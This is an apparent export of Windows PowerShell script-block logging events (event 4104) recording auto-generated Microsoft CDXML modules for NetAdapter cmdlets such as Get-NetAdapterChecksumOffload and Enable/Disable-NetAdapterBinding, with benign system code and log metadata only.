[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${UdpIPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${UdpIPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $_
ScriptBlock ID: 911d7b9d-0e35-4a0f-8fdb-03390f07299b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1915 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-82fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterChecksumOffloadSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterChecksumOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterChecksumOffloadSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterChecksumOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterChecksumOffload' -Alias '*'
function Set-NetAdapterChecksumOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterChecksumOffloadSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterChecksumOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction]
${IpIPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction]
${TcpIPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction]
${TcpIPv6Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction]
${UdpIPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterChecksumOffload.Direction]
${UdpIPv6Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $
ScriptBlock ID: 911d7b9d-0e35-4a0f-8fdb-03390f07299b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1914 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-82fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 2):
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterBindingSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('ComponentID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ComponentID})
$__cmdletization_queryBuilder.FilterByProperty('ComponentID', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllBindings') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllBindings', ${AllBindings})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterBinding.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterBinding' -Alias '*'
function Disable-NetAdapterBinding
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${ComponentID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllBindings},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterBindingSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('ComponentID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ComponentID})
$__cmdletization_queryBuilder.FilterByProperty('ComponentID', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllBindings') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllBindings', ${AllBindings})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterBinding.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterBinding' -Alias '*'
ScriptBlock ID: 90a794d4-0b7d-4d96-a336-6d67419343cd
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1913 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-7cfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterBindingSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterBinding
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterBindingSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${ComponentID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${DisplayName},
